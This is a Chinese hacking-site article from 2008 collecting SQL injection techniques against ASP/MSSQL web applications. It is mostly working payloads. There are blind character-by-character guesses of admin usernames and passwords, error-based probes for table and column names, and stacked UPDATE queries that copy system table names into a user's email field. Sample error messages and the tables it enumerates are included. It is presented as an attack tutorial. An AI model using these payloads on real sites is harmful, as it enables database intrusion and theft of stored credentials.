| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
免费服务 我要发布 在线破解 黑客游戏 精华收集 免费空间 网络硬盘 独家报道 黑器点播 免费 FTP 交换资源
收费服务 黑客培训 光盘刻录 黑客书籍 视频下载 主力频道 空间域名 网站建设 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
Sql脚本注射技巧整理           ★★★ 【字体:
Sql脚本注射技巧整理
作者:不详 文章来源:华盟收集 点击数: 更新时间:2008-1-17

猜表过程---------------------------------------------> 
猜测用户名范围: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(name)=猜测位数)and ’1 
猜测用户密码范围: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where len(pwd)=猜测位数)and ’1 
详细猜测: 
用户名依次推算: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))>97) and ’1 
继续提交: 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(name,1,1))=100) and ’1 
密码位推算 
http://www.target.com/class.asp?typeid=喜剧片’ and 1=(select id from password where asc(mid(pwd,1,1))>97) and ’1 
------------------------------------------------------------ 
常见测试方法: 
www.target.com/show.asp?id=1;--(;--在sql语句中表注释) 
www.target.com/show.asp?id=1 or id in (select id from admin) 
如果看到管理员admin表中ID=7,并且密码是admin,也就是长度为5。用最常用的语句带入看看: 
SiteName:good 
SiteUrl:good’ and 7=(select id from admin where len(password)=5) and ’1 

这样sql语句就变成了: 
select * from FriendSite where SiteName=good and SiteUrl=good’ and 7=(select id from admin where len(password)=5) and ’1’ 

---------------------------------------------------- 
第一步: 
在输入用户名处输入单引号,显示 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’ 
字符串 ’’’ 之前有未闭合的引号。 
/user/wantpws.asp,行63 
说明没有过滤单引号且数据库是MSSQL. 

第二步: 
输入a’;use master;-- 
显示 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e21’ 
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。 
/user/wantpws.asp,行63 
这样说明没有权限了。 
第三步: 
输入:a’ or name like ’fff%’;-- 
第四步: 
在用户名处输入 
ffff’ and 1<>(select count(email) from [user]);-- 
显示: 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e37’ 
对象名 ’user’ 无效。 
/user/wantpws.asp,行96 
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列. 
(东方飘云的一个办法是输入a’ having 1=1-- 
一般返回如下也就可以直接得到表名和一个字段名了 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’ 
列 ’users.ID’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 
/user/wantpws.asp,行63 


现在我们知道了ffff用户的密码是111111. 
下面通过语句得到数据库中的所有表名和字段名。 
第五步: 
输入: 
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;-- 
说明: 
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 
ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;-- 
同上可知id是:581577110 
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了 
象下面这样就可以得到第二个表的名字了 
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;-- 
ad 581577110 
users 597577167 
buy 613577224 
car 629577281 
learning 645577338 
log 661577395 
movie 677577452 
movieurl 693577509 
password 709577566 
type 725577623 
talk 
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的

[1] [2] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    突破SQL脚本注入想法
    Sql2005注射辅助脚本
    见过最好的sql注入工具
    SQLInjection基础与技巧
    ASP+SQL入侵方法总结
    伪造注入点的完整文件
    SQL注入一日通(下)
    SQL注入一日通(上)
    找到Web绝对路径
    SQLSA空口令渗透
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号